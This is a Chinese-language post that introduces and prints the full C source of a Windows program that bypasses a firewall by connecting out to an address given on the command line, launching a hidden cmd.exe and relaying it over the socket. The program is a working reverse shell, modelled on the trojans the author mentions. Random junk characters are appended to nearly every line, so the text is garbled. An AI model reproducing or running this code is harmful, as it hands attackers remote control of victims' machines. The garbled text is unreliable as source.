这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Or)c*.|\
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/* ============================== &0Zk3D4
Rebound port in Windows NT !
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By wind,2006/7 +1fOW4!5
===============================*/ pcTXTy 28
#include K5rj!*x.o
#include pdqa)>$
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#pragma comment(lib,"wsock32.lib") [y;ZbfMP|o
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void OutputShell(); %)ov,p|
SOCKET sClient; jV&W[xKa
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; > 0)`uJ
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void main(int argc,char **argv) B_jI!i{N%o
{ zR_l^NK
WSADATA stWsaData; Dohe(\C@
int nRet; ]JuB6o_L
SOCKADDR_IN stSaiClient,stSaiServer; TiEJyd`P
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if(argc != 3) eG>Fn6G<g
{ "dOY_@kg
printf("Useage:\n\rRebound DestIP DestPort\n"); q[A3$y(
return; ~M1%,]
} ,?~,"IQyi[
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WSAStartup(MAKEWORD(2,2),&stWsaData); sswAI|6ou
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); m|FONQ,@D
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stSaiClient.sin_family = AF_INET; 8k'em/M~
stSaiClient.sin_port = htons(0); lfd{O7 L0b
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 1K',Vw_
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) )PNk
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{ iPNsEQ0We
printf("Bind Socket Failed!\n"); [c )\?MWW
return; 7O :Gi*MA
} )@M|YM1+
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stSaiServer.sin_family = AF_INET; I@v.Hqg+7
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 0k]N%!U
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); %'5 wwl
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 1H@F>}DP
{ P^+>QJ1
printf("Connect Error!"); `&JA7UD>
return; -8e tH&
} 6
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OutputShell(); Z6pDQ^Ii
} PmTd+Gj$
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void OutputShell() ,aL"Wy(
{ g;@PEZk1
char szBuff[1024]; M!@[lJ
SECURITY_ATTRIBUTES stSecurityAttributes; wt,N<L
OSVERSIONINFO stOsversionInfo; :D-vE7
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; !OemS7{
STARTUPINFO stStartupInfo; l>q.BG
char *szShell; UkQocZdZ
PROCESS_INFORMATION stProcessInformation; 1N*~\rV*?
unsigned long lBytesRead; ypVr"fWB
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); G9Ezm*I;:
stSecurityAttributes.lpSecurityDescriptor = 0; 9rz "@LM
stSecurityAttributes.bInheritHandle = TRUE; b2H6}s"=w
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); cFQa~
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); #UIg<:
) 'KHUa9
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Rwk|cqr
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; o,I642R~
stStartupInfo.wShowWindow = SW_HIDE; )vzT\dQ|
stStartupInfo.hStdInput = hReadPipe; l71\II
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 2{\Y<%.
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GetVersionEx(&stOsversionInfo); T@.CwV
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switch(stOsversionInfo.dwPlatformId) -Zh+5;8g
{ *']RYu?X
case 1: glpdYg *
szShell = "command.com"; up?8Pq*
break; k:.c(_2M
default: gS ]'^Sr
szShell = "cmd.exe"; U_?RN)>j
break; ] $*cmk(Y
} Oh: -Y]m=
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); AJ /_l;
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send(sClient,szMsg,77,0); %JZIg!
while(1) 2},}R'aR
{ E {MSi"
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ,MJZ*"V/3
if(lBytesRead) DzEixE-
{ !p2&$s"N.
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); y[vjqfdmU
send(sClient,szBuff,lBytesRead,0); STMcMm3
} 6Jm4?ex
else ,LvJ'N
{ /T@lHxX
lBytesRead=recv(sClient,szBuff,1024,0); `i-&Z`
if(lBytesRead<=0) break; C~B^sG@;
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ]pt @
} wU3Q
} nC w1H kW
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return; V}*b^<2o5
}